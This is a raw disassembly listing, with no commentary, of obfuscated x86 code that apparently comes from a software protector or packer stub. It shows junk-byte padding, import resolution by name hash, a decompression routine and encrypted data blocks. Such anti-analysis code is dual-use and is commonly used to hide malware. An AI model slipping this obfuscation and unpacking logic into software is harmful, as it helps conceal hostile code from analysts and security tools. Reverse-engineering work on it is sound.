		jnp	loc_5A57B3
		jnp	loc_5A57B3
		cld


loc_5A57B3:				; CODE XREF: sub_5A55E5+1C1j
					; sub_5A55E5+1C7j
		lodsd
		jbe	loc_5A57C1
		jns	loc_5A57C1
		clc


loc_5A57C1:				; CODE XREF: sub_5A55E5+1CFj
					; sub_5A55E5+1D5j
		add	eax, [esp+1Ch+arg_4]
		add	[ebp+7FA13B9h],	edi
		stosd
		cld
		lea	edi, [ebp+7FA0C55h]
		mov	[ebp+7FA1F25h],	esi
		lodsd
		stc
		add	eax, [esp+1Ch+arg_4]
		stc
		push	eax
		jmp	loc_5A57EF
; ---------------------------------------------------------------------------
		push	ss
		push	cs
		fisttp	dword ptr [edx+edi+20h]
		test	al, 0A5h
		cli


loc_5A57EF:				; CODE XREF: sub_5A55E5+1FCj
		mov	[esp+28h+var_2A+2], eax
		mov	[ebp+7FA1555h],	eax
		mov	[ebp+7FA34A5h],	ecx
		stosd
		jmp	loc_5A580C
; ---------------------------------------------------------------------------
		dd 3BB7F581h, 2A9CBC7Ah
; ---------------------------------------------------------------------------


loc_5A580C:				; CODE XREF: sub_5A55E5+21Aj
		lea	edi, [ebp+7FA24F5h]
		sub	[ebp+7FA2BB9h],	edx
		cmc
		lodsd
		jnp	loc_5A5826
		mov	[ebp+7FA0449h],	edi


loc_5A5826:				; CODE XREF: sub_5A55E5+235j
		add	eax, [esp+28h]
		jb	loc_5A5831
		cld


loc_5A5831:				; CODE XREF: sub_5A55E5+245j
		stosd
		xor	[ebp+7FA26A9h],	ecx
		pop	esi
		jnb	loc_5A5840
		cld


loc_5A5840:				; CODE XREF: sub_5A55E5+254j
					; sub_5A55E5+2E7j
		dec	dword ptr [ebp+7FA3B79h]
		cmp	dword ptr [ebp+7FA3B79h], 0
		jnz	short loc_5A585F
		mov	[esp+24h+var_8], 0
		lea	esi, [ebp+7FA3F86h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_5A585F:				; CODE XREF: sub_5A55E5+268j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+7FA1571h]
		test	al, al
		jz	short loc_5A5876
		cmp	al, [edi]
		jnz	short loc_5A58C2


loc_5A5876:				; CODE XREF: sub_5A55E5+28Bj
		push	edi
		xor	al, al


loc_5A5879:				; CODE XREF: sub_5A55E5+295j
		scasb
		jnz	short loc_5A5879
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_5A5886:				; CODE XREF: sub_5A55E5+2CAj
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_5A5895:				; CODE XREF: sub_5A55E5+2C3j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_5A58A6
		xor	ax, 5041h
		xor	bx, 5449h


loc_5A58A6:				; CODE XREF: sub_5A55E5+2B6j
		dec	dh
		jnz	short loc_5A5895
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_5A5886
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_5A58D1


loc_5A58C2:				; CODE XREF: sub_5A55E5+28Fj
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+7FA06C1h]
		jmp	loc_5A5840
; ---------------------------------------------------------------------------


loc_5A58D1:				; CODE XREF: sub_5A55E5+2DBj
		pop	esi
		cld
		sub	[ebp+7FA1739h],	esi
		or	[ebp+7FA1609h],	esi
		mov	eax, [ebp+7FA06C1h]
		cld
		shl	eax, 1
		jp	loc_5A58F4
		mov	[ebp+7FA0AF5h],	edi


loc_5A58F4:				; CODE XREF: sub_5A55E5+303j
		add	eax, [ebp+7FA24F5h]
		jg	loc_5A5915
		jmp	loc_5A5915
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 7AE1h
		dd 218F94FAh, 1AA2E623h, 4FD5BD12h
; ---------------------------------------------------------------------------
		inc	ebx


loc_5A5915:				; CODE XREF: sub_5A55E5+315j
					; sub_5A55E5+31Bj
		add	[ebp+7FA0491h],	ebx
		sub	esi, esi
		clc
		jmp	loc_5A5929
; ---------------------------------------------------------------------------
		db 45h
		dd 0F569E03h
		db 0A2h
; ---------------------------------------------------------------------------


loc_5A5929:				; CODE XREF: sub_5A55E5+339j
		xchg	eax, esi
		pusha
		mov	edx, 5795D22Ah
		mov	eax, 6ADE4C43h
		popa
		lodsw
		pusha
		mov	[ebp+7FA2115h],	edx
		cld
		popa
		shl	eax, 2
		jmp	loc_5A594E
; ---------------------------------------------------------------------------
		db 3Bh,	2Dh, 0ACh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 3Dh
; ---------------------------------------------------------------------------


loc_5A594E:				; CODE XREF: sub_5A55E5+35Fj
		add	eax, [ebp+7FA3559h]
		mov	[ebp+7FA0BF5h],	edx
		xchg	eax, esi
		pusha
		jno	loc_5A5968
		mov	[ebp+7FA1901h],	edi


loc_5A5968:				; CODE XREF: sub_5A55E5+377j
		sub	ecx, 0D2F954h
		popa
		lodsd
		jbe	loc_5A597C
		pusha
		push	ecx
		pop	ebx
		push	ecx
		pop	ebx
		popa


loc_5A597C:				; CODE XREF: sub_5A55E5+38Bj
		mov	ecx, [esp+24h]
		jmp	loc_5A5997
; ---------------------------------------------------------------------------
		db 6Fh,	2 dup(0ECh)
		dd 0AF7D97FBh, 80E25FC4h, 94BDCBE7h
		db 38h,	0FDh, 6Ch
; ---------------------------------------------------------------------------


loc_5A5997:				; CODE XREF: sub_5A55E5+39Bj
		add	eax, [esp+24h]
		jmp	loc_5A59B0
; ---------------------------------------------------------------------------
		dd 6479B583h, 3BB4E20Bh, 76CF4441h, 0E4E5523Ah
; ---------------------------------------------------------------------------


loc_5A59B0:				; CODE XREF: sub_5A55E5+3B6j
		mov	[esp+24h+var_8], eax
		mov	[ebp+7FA17A5h],	eax
		xchg	eax, esi
		or	[ebp+7FA285Dh],	esi
		lodsb
		mov	[ebp+7FA2DE5h],	ebx
		xor	cl, cl
		or	[ebp+7FA173Dh],	ecx
		inc	cl
		jmp	loc_5A59E8
; ---------------------------------------------------------------------------
		db	36h
		inc	ecx
		mov	ecx, 391C3A0h
		retf	0E555h
; ---------------------------------------------------------------------------
		db 0EDh, 0F0h, 0D4h
		dd 0BBD0DFA4h
; ---------------------------------------------------------------------------


loc_5A59E8:				; CODE XREF: sub_5A55E5+3EDj
					; sub_5A55E5+448j
		rcl	al, 1
		jnb	loc_5A5A8A
		pusha
		mov	[ebp+7FA01F5h],	ebx
		add	edi, [ebp+7FA06DDh]
		popa
		rcl	al, 1
		jnb	loc_5A5A8A
		xor	[ebp+7FA19A1h],	edi
		jl	loc_5A5A13
		stc


loc_5A5A13:				; CODE XREF: sub_5A55E5+427j
		rcl	al, 1
		jb	loc_5A5A8A
		cmc
		rcl	al, 1
		jb	loc_5A5A8A
		jno	loc_5A5A2B
		cld


loc_5A5A2B:				; CODE XREF: sub_5A55E5+43Fj
		dec	cl
		jns	loc_5A59E8
		xor	[ebp+7FA1F25h],	eax
		add	esp, 20h
		jmp	loc_5A5A4B
; ---------------------------------------------------------------------------
		db 46h,	82h, 0C6h
		db 90h
		db 91h,	0B2h, 0E4h
		db 84h,	0DBh, 0B2h
; ---------------------------------------------------------------------------


loc_5A5A4B:				; CODE XREF: sub_5A55E5+457j
		mov	[esp+4+var_8], 0
		jmp	loc_5A5A60
; ---------------------------------------------------------------------------
		dd 78B14A3Dh, 52189F4Bh
; ---------------------------------------------------------------------------


loc_5A5A60:				; CODE XREF: sub_5A55E5+46Ej
		mov	eax, 1
		stc
		lea	ecx, [ebp+7FA72BFh]
		sub	[ebp+7FA1901h],	edx
		jmp	ecx
; ---------------------------------------------------------------------------
		jl	loc_5A5A8A
		jmp	loc_5A5A8A
; ---------------------------------------------------------------------------
		db 0CEh
		dd 99729561h, 9459A0AFh
		db 64h,	84h
; ---------------------------------------------------------------------------


loc_5A5A8A:				; CODE XREF: sub_5A55E5+405j
					; sub_5A55E5+41Bj ...
		mov	byte ptr [ebp+7FA1571h], 0
		pusha
		sbb	edi, 281111A8h
		mov	eax, [ebp+7FA13DDh]
		popa
		popa
		sub	[ebp+7FA1D99h],	esi
		retn	8
; ---------------------------------------------------------------------------
		jbe	loc_5A5AB5
		sub	[ebp+7FA0481h],	edx


loc_5A5AB5:				; CODE XREF: sub_5A55E5+4C4j
		mov	[ebp+7FA3205h],	edx
		xchg	eax, esi
		jb	loc_5A5ACA
		jz	loc_5A5ACA
		pusha
		popa


loc_5A5ACA:				; CODE XREF: sub_5A55E5+4D7j
					; sub_5A55E5+4DDj
		push	eax
		pusha
		mov	edi, esi
		jnp	$+6
		popa
		xchg	eax, esi
		js	loc_5A5AE4
		pusha
		mov	eax, [ebp+7FA2C09h]
		popa


loc_5A5AE4:				; CODE XREF: sub_5A55E5+4F1j
		mov	[ebp+7FA41D9h],	esi
		add	[ebp+7FA1E89h],	edi
		mov	[ebp+7FA41FFh],	ecx
		pusha
		mov	[ebp+7FA0B89h],	ebx
		mov	[ebp+7FA0725h],	ecx
		popa
		pusha
		mov	ecx, 4E10BA81h
		mov	[ebp+7FA2035h],	edx
		popa
		lea	esi, [ebp+7FA4060h]
		xor	[ebp+7FA16B9h],	eax
		lea	eax, [ebp+5B8EA1h]
		add	[ebp+7FA3191h],	edi
		call	eax	; _adjust_fdiv
		sub	[ebp+7FA1751h],	ebx
		jnp	loc_5A5B38
		stc


loc_5A5B38:				; CODE XREF: sub_5A55E5+54Cj
		pop	esi
		jnp	locret_5A5B4B
		jnz	locret_5A5B4B
		xor	[ebp+7FA0365h],	edx

locret_5A5B4B:				; CODE XREF: sub_5A55E5+554j
					; sub_5A55E5+55Aj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5A5B64
; ---------------------------------------------------------------------------
		push	ds
		push	ebp
		adc	[ebx], edx
		lodsb
		imul	eax, [esi-5596F1Bh], 0A569CD28h
		popa
		retn	0F26Eh
; ---------------------------------------------------------------------------


loc_5A5B64:				; CODE XREF: sub_5A55E5+567j
		mov	esi, [ebp+7FA41D9h]
		pusha
		jnp	loc_5A5B77
		jnp	$+6


loc_5A5B77:				; CODE XREF: sub_5A55E5+586j
		sub	ebx, 7B8DC8D9h
		popa
		mov	ecx, [ebp+7FA41FFh]
		cld
		sub	eax, eax
		mov	[ebp+7FA12D5h],	ebx
		mov	ebx, ecx
		jle	loc_5A5B9B
		sub	[ebp+7FA03CDh],	edi


loc_5A5B9B:				; CODE XREF: sub_5A55E5+5AAj
		jmp	loc_5A5CB9
; ---------------------------------------------------------------------------
		jmp	loc_5A5BB3
; ---------------------------------------------------------------------------
		db 0C4h, 1, 96h
		dd 5EB8BDC7h, 719E64C6h
		db 3, 0EAh, 0D9h
; ---------------------------------------------------------------------------


loc_5A5BB3:				; CODE XREF: sub_5A55E5+5BBj
					; sub_5A55E5+6D6j
		xor	ah, [esi]
		clc
		mov	dl, 2
		jmp	loc_5A5BCE
; ---------------------------------------------------------------------------
		db 0EFh, 0C2h, 7Ch
		dd 63404F3Ch, 0F764258Ch, 0E9143679h
		db 8, 66h
; ---------------------------------------------------------------------------


loc_5A5BCE:				; CODE XREF: sub_5A55E5+5D3j
		jl	loc_5A5BE6
		jmp	loc_5A5BE6
; ---------------------------------------------------------------------------
		db 68h,	72h, 0Eh
		dd 808D583Fh, 0C79B7F98h
		db 0E8h, 3Ah
; ---------------------------------------------------------------------------


loc_5A5BE6:				; CODE XREF: sub_5A55E5:loc_5A5BCEj
					; sub_5A55E5+5EFj
		jmp	loc_5A5C5A
; ---------------------------------------------------------------------------
		jmp	loc_5A5BFD
; ---------------------------------------------------------------------------
		dd 804BAB41h, 556D4BF6h, 0C7AD5AAEh
; ---------------------------------------------------------------------------
		pop	edx


loc_5A5BFD:				; CODE XREF: sub_5A55E5+606j
					; sub_5A55E5+677j
		xor	al, dl
		mov	[ebp+7FA1EFDh],	eax
		add	eax, 8A751D7Ah
		mov	[ebp+7FA351Dh],	edi
		mov	[ebp+7FA1611h],	esi
		mov	cl, ah
		or	[ebp+7FA0569h],	ecx
		ror	eax, cl
		pusha
		mov	eax, esi
		mov	bx, ax
		popa
		mov	[ebp+7FA12A1h],	eax
		xor	eax, 98D10842h
		pusha
		jmp	loc_5A5C49
; ---------------------------------------------------------------------------
		dd 0E2A09286h, 0B7D1BEBh, 0EE17FD05h, 0C2DCFBA3h
		db 0DBh
; ---------------------------------------------------------------------------


loc_5A5C49:				; CODE XREF: sub_5A55E5+64Ej
		mov	edx, ecx
		popa
		dec	dl
		jnp	loc_5A5C5A
		add	[ebp+7FA0B21h],	esi


loc_5A5C5A:				; CODE XREF: sub_5A55E5:loc_5A5BE6j
					; sub_5A55E5+669j
		or	dl, dl
		jnz	loc_5A5BFD
		xor	[ebp+7FA14A1h],	esi
		pusha
		call	loc_5A5C80
		cmp	byte ptr [ebx-51h], 32h
		hlt
; ---------------------------------------------------------------------------
		db 0E2h
; ---------------------------------------------------------------------------
		div	dword ptr [edi+6C6FFD4Dh]
		and	cl, [ecx-0DDB4D2Fh]


loc_5A5C80:				; CODE XREF: sub_5A55E5+684p
		mov	eax, 1885827Bh
		pop	ecx
		jnb	loc_5A5C9C
		jmp	loc_5A5C9C
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		leave
		cwde
		jle	short loc_5A5CA8
		cdq
		comiss	xmm1, dword ptr	[ecx]
		push	48h


loc_5A5C9C:				; CODE XREF: sub_5A55E5+6A1j
					; sub_5A55E5+6A7j
		popa
		dec	ebx
		jmp	loc_5A5CB1
; ---------------------------------------------------------------------------
		fmul	st, st
		dec	ebp
		fcomp	dword ptr [edx]


loc_5A5CA8:				; CODE XREF: sub_5A55E5+6AFj
		nop
		test	ds:781C4BB7h, eax
		mov	[eax], gs


loc_5A5CB1:				; CODE XREF: sub_5A55E5+6B9j
		mov	[ebp+7FA034Dh],	ebx
		inc	esi
		clc


loc_5A5CB9:				; CODE XREF: sub_5A55E5:loc_5A5B9Bj
		or	ebx, ebx
		jnz	loc_5A5BB3
		pusha
		mov	ebx, [ebp+7FA04A5h]
		push	eax
		or	cx, 5573h
		pop	edi
		popa
		iret
; ---------------------------------------------------------------------------
		db 89h,	8Dh, 0BDh
		dd 8907FA26h, 0FA31999Dh, 0F8000007h, 28BD9D01h, 7FAh
		dd 119B529h, 0E96007FAh, 0Bh, 4CF741CCh, 5C6E6496h, 0F857E15h
		dd 61C3BFh, 6880F00h, 29000000h, 0FA2D5595h, 89000007h
		dd 0FA18358Dh
; ---------------------------------------------------------------------------
		pop	es


loc_5A5D19:				; CODE XREF: sub_5A55E5:loc_5A5681j
		lea	eax, [ebp+7FA3B93h]
		mov	[ebp+7FA33F5h],	edx
		mov	[ebp+7FA1EF1h],	eax
		mov	[ebp+7FA14C5h],	ecx
		cld
		lea	eax, [ebp+7FA3FB7h]
		pusha
		mov	edi, [ebp+7FA1559h]
		mov	[ebp+7FA17CDh],	edi
		popa
		jno	loc_5A5D52
		xor	[ebp+7FA18B9h],	ecx


loc_5A5D52:				; CODE XREF: sub_5A55E5+761j
		mov	[ebp+7FA2649h],	eax
		jmp	short loc_5A5D6E
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 0E20000h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5D6E:				; CODE XREF: sub_5A55E5+773j
		lea	eax, [ebp+7FA4319h]
		mov	[ebp+7FA1355h],	eax
		cmp	dword ptr [ebp+7FA4262h], 0
		jz	loc_5A5EAA
		mov	byte ptr [ebp+7FA1571h], 56h
		push	0CE037E03h
		add	[esp+18h+var_18], 61BEF36h
		push	dword ptr [ebp+7FA1229h]
		lea	eax, [ebp+7FA3B93h]
		call	eax	; _adjust_fdiv
		mov	[ebp+7FA4256h],	eax
		mov	byte ptr [ebp+7FA1571h], 56h
		push	457E95EEh
		add	[esp+20h+var_22+2], 572A2264h
		push	dword ptr [ebp+7FA1229h]
		lea	eax, [ebp+7FA3B93h]
		call	eax	; _adjust_fdiv
		mov	[ebp+7FA425Ah],	eax
		push	4
		push	9F067259h
		add	[esp+2Ch+var_2E+2], 60F99DA7h
		mov	eax, [ebp+7FA4266h]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp+30h+var_32+2], eax
		push	0
		call	dword ptr [ebp+7FA425Ah]
		mov	[ebp+7FA425Eh],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+7FA1355h]
		mov	eax, ebx
		call	dword ptr [ebp+7FA1355h]
		jmp	loc_5A5EAA
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA4262h], 0
		jnz	loc_5A5E2B
		retn
; ---------------------------------------------------------------------------


loc_5A5E2B:				; CODE XREF: sub_5A55E5+83Fj
		push	edi
		mov	edi, [ebp+7FA425Eh]
		stosd
		add	dword ptr [ebp+7FA425Eh], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA4262h], 0
		jnz	loc_5A5E4A
		retn
; ---------------------------------------------------------------------------


loc_5A5E4A:				; CODE XREF: sub_5A55E5+85Ej
		pusha
		sub	dword ptr [ebp+7FA425Eh], 4


loc_5A5E52:				; CODE XREF: sub_5A55E5:loc_5A5EA5j
		mov	ebx, [ebp+7FA425Eh]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_5A5E7F
		push	0CD020BD3h
		add	[esp+58h+var_58], 32FE742Dh
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7FA4256h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5A5EA5
; ---------------------------------------------------------------------------


loc_5A5E7F:				; CODE XREF: sub_5A55E5+877j
		call	near ptr loc_5A5E84+4


loc_5A5E84:				; CODE XREF: sub_5A55E5:loc_5A5E7Fp
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4Eh+var_4A], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7FA4256h]
		sub	dword ptr [ebp+7FA425Eh], 4


loc_5A5EA5:				; CODE XREF: sub_5A55E5+895j
		jmp	loc_5A5E52
; ---------------------------------------------------------------------------


loc_5A5EAA:				; CODE XREF: sub_5A55E5+79Cj
					; sub_5A55E5+833j
		dec	eax
		jmp	loc_5A605D
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+34h+var_10]
		mov	edi, [esp+34h+var_C]
		cld
		mov	dl, 80h


loc_5A5EBC:				; CODE XREF: sub_5A55E5:loc_5A5ED4j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_5A5EC7:				; CODE XREF: sub_5A55E5+96Dj
					; sub_5A55E5+9D5j ...
		add	dl, dl
		jnz	loc_5A5ED4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5ED4:				; CODE XREF: sub_5A55E5+8E4j
		jnb	loc_5A5EBC
		add	dl, dl
		jnz	loc_5A5EE7
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5EE7:				; CODE XREF: sub_5A55E5+8F7j
		jnb	loc_5A5F57
		xor	eax, eax
		add	dl, dl
		jnz	loc_5A5EFC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5EFC:				; CODE XREF: sub_5A55E5+90Cj
		jnb	loc_5A602C
		add	dl, dl
		jnz	loc_5A5F0F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5F0F:				; CODE XREF: sub_5A55E5+91Fj
		adc	eax, eax
		add	dl, dl
		jnz	loc_5A5F1E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5F1E:				; CODE XREF: sub_5A55E5+92Ej
		adc	eax, eax
		add	dl, dl
		jnz	loc_5A5F2D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5F2D:				; CODE XREF: sub_5A55E5+93Dj
		adc	eax, eax
		add	dl, dl
		jnz	loc_5A5F3C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5F3C:				; CODE XREF: sub_5A55E5+94Cj
		adc	eax, eax
		jz	loc_5A5F4A
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_5A5F4A:				; CODE XREF: sub_5A55E5+959j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_5A5EC7
; ---------------------------------------------------------------------------


loc_5A5F57:				; CODE XREF: sub_5A55E5:loc_5A5EE7j
		mov	eax, 1


loc_5A5F5C:				; CODE XREF: sub_5A55E5:loc_5A5F78j
		add	dl, dl
		jnz	loc_5A5F69
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5F69:				; CODE XREF: sub_5A55E5+979j
		adc	eax, eax
		add	dl, dl
		jnz	loc_5A5F78
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5F78:				; CODE XREF: sub_5A55E5+988j
		jb	loc_5A5F5C
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_5A5FBF
		mov	ecx, 1


loc_5A5F90:				; CODE XREF: sub_5A55E5:loc_5A5FACj
		add	dl, dl
		jnz	loc_5A5F9D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5F9D:				; CODE XREF: sub_5A55E5+9ADj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_5A5FAC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5FAC:				; CODE XREF: sub_5A55E5+9BCj
		jb	loc_5A5F90
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_5A5EC7
; ---------------------------------------------------------------------------


loc_5A5FBF:				; CODE XREF: sub_5A55E5+9A0j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5A5FCD:				; CODE XREF: sub_5A55E5:loc_5A5FE9j
		add	dl, dl
		jnz	loc_5A5FDA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5FDA:				; CODE XREF: sub_5A55E5+9EAj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_5A5FE9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5A5FE9:				; CODE XREF: sub_5A55E5+9F9j
		jb	loc_5A5FCD
		cmp	eax, 7D00h
		jnb	loc_5A601C
		cmp	eax, 500h
		jb	loc_5A6013
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_5A5EC7
; ---------------------------------------------------------------------------


loc_5A6013:				; CODE XREF: sub_5A55E5+A1Aj
		cmp	eax, 7Fh
		ja	loc_5A601F


loc_5A601C:				; CODE XREF: sub_5A55E5+A0Fj
		add	ecx, 2


loc_5A601F:				; CODE XREF: sub_5A55E5+A31j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_5A5EC7
; ---------------------------------------------------------------------------


loc_5A602C:				; CODE XREF: sub_5A55E5:loc_5A5EFCj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_5A6051
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_5A5EC7
; ---------------------------------------------------------------------------


loc_5A6051:				; CODE XREF: sub_5A55E5+A4Fj
		sub	edi, [esp+34h+var_C]
		mov	[esp+34h+var_18], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5A605D:				; CODE XREF: sub_5A55E5+8C6j
		mov	edx, 929h
		jmp	loc_5A6A3A
; ---------------------------------------------------------------------------
		db 0BDh
		dd 7D554386h, 0D604B3EEh, 83F6DE3Dh, 4C7DC914h,	0A26B6E72h
		dd 6A5CF27h, 93BFBA50h,	0E075571Dh, 765843A0h, 0C40CBFACh
		dd 92A58C2Ah, 4338CE06h, 0D2080139h, 1BB1C52Dh,	93EDB651h
		dd 0EF73551Dh, 6C5843A3h, 0DE11A0ACh, 8EBB8C35h, 572FD518h
		dd 0E66B6A37h, 1BB5D261h, 92BFFB40h, 0FB734053h, 6A4143B5h
		dd 0D011A1E3h, 8235h, 62h dup(0)
		dd 0BD000000h, 775C4386h, 0DE17AFE2h, 99A68C2Ah, 4F2FDD1Ah
		dd 0E36D2B7Ah, 0DB28032h, 80EDF451h, 0EA724C1Ch, 764411E7h
		dd 0D60DAFE2h, 0CBB8C578h, 5C28D50Ch, 0F17C7837h, 46BDC535h
		dd 8A9D973Eh, 0EB6F5816h, 764443EBh, 0D502A9E0h, 0CBA2C578h
		dd 4332C813h, 0EF606637h, 48A9D22Eh, 0C6A9F455h, 0FA6F5C01h
		dd 384511A6h, 0C316A9F5h, 84A4DC78h, 433CC812h,	39h, 47h dup(0)
		dd 0BD000000h, 6A524386h, 0D408A5EDh, 0CBA58B2Ah, 4232D501h
		dd 0F1646337h, 0DB5C261h, 89ABBA5Ah, 0AE785706h, 765F16B5h
		dd 9104A8E5h, 92F6C231h, 0E2FCF1Ah, 0F6767264h,	62FECD24h
		dd 83A1CA39h, 0A2794A12h, 745F16E7h, 9107A7E3h,	8DF6D831h
		dd 0E30D507h, 0ED686E7Ah, 9F0D933h, 94EDFE5Ah, 0EF684A16h
		dd 611117B5h, 9111B3E3h, 8CB9DE28h, 30DB07h, 61h dup(0)
		dd 0BD000000h, 7D5D0A81h, 0C30CA5ACh, 9FA6D92Ah, 7CDE10h
		dd 0EB6D5F37h, 1AA08032h, 87BFFD5Bh, 0EF74191Eh, 7D5343B4h
		dd 0DC43A8E9h, 9BBFC239h, 5A3CD600h, 0E3256F72h, 5F0C42Fh
		dd 83AFE355h, 0FA753479h, 711110E0h, 0D206A0E2h, 0CBB2C92Ch
		dd 4F7DC317h, 0F06C5D37h, 7F0D334h, 94AEBA46h, 0EB775A12h
		dd 4C114DA3h, 9110AFE4h, 8EBAC53Eh, 4032CD55h, 0F5257F30h
		dd 48BBD22Eh, 8BB4F455h, 0A0794B1Ch, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A6A3A:				; CODE XREF: sub_5A55E5+A7Dj
		jmp	loc_5A96F9
; ---------------------------------------------------------------------------
		jmp	loc_5A6A57
; ---------------------------------------------------------------------------
		dd 874F59BDh, 0D9A354C7h, 0D857EFB7h, 0FD047864h
		db 40h,	41h, 63h
; ---------------------------------------------------------------------------


loc_5A6A57:				; CODE XREF: sub_5A55E5+145Aj
		cld
		mov	edx, [ebp+7FA34E9h]
		mov	eax, eax
		jmp	loc_5A6A6F
; ---------------------------------------------------------------------------
		and	eax, 0B7CDB693h
		add	dword ptr [ecx+7Ch], 0FFFFFFA5h
		inc	esi


loc_5A6A6F:				; CODE XREF: sub_5A55E5+147Bj
		cmp	dword ptr [ebp+7FA16D1h], 0
		jnz	short loc_5A6A81
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_5A6A94


loc_5A6A81:				; CODE XREF: sub_5A55E5+1491j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+7FD3E7Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A6A94:				; CODE XREF: sub_5A55E5+149Aj
		cmp	dword ptr [ebp+7FA3535h], 0
		jz	short loc_5A6AAE
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+7FD3D2Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5A6AAE:				; CODE XREF: sub_5A55E5+14B6j
		push	0
		push	esi
		call	loc_5A6AB9
		and	[esi-3Dh], bl


loc_5A6AB9:				; CODE XREF: sub_5A55E5+14CCp
		pop	esi
		mov	[esp+12h+var_10+2], esi
		add	[esp+12h+var_10+2], 15h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 0F3h, 0C3h, 0F8h
; ---------------------------------------------------------------------------
		cld
		push	0
		push	eax
		call	loc_5A6AD8
		and	[eax-3Dh], bl


loc_5A6AD8:				; CODE XREF: sub_5A55E5+14EBp
		pop	eax
		mov	[esp+14h+var_10], eax
		add	[esp+14h+var_10], 14h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dd 6810F7Ah, 89000000h,	0FA0CF985h, 6AC08B07h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 4A11C352h, 0C98D317Dh, 8307FA0Ch, 0FA14D1BDh, 840F0007h
		dd 227h, 1DCDBD83h, 0F0007FAh, 21A84h, 13E800h,	468C0000h
		dd 9EB4575Bh, 0F1B362C1h, 0D53648C8h, 0FF8BF08Ah, 0D2B70FE5h
		dd 6A605Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0AEFD4C3h, 858BF9D3h, 7FA1DCDh, 0AD4496BBh
		dd 3E80508h, 0BA660000h, 569059DDh, 8E8h, 630F9D00h, 0BF5C380Dh
		dd 5B72B2D4h, 0FE8505Bh, 51000000h, 0B36F0A03h,	293DF0ECh
		dd 9ED0FC1Dh, 0EE90385h, 0A7000000h, 89D4C335h,	7D15D5E3h
		dd 0CC57E55h, 8B905B55h, 0FA0D019Dh, 1D858D07h,	3107FA4Fh
		dd 0FA25E595h, 0A9858907h, 9007FA2Dh, 0EFEBA66h, 6A9050h
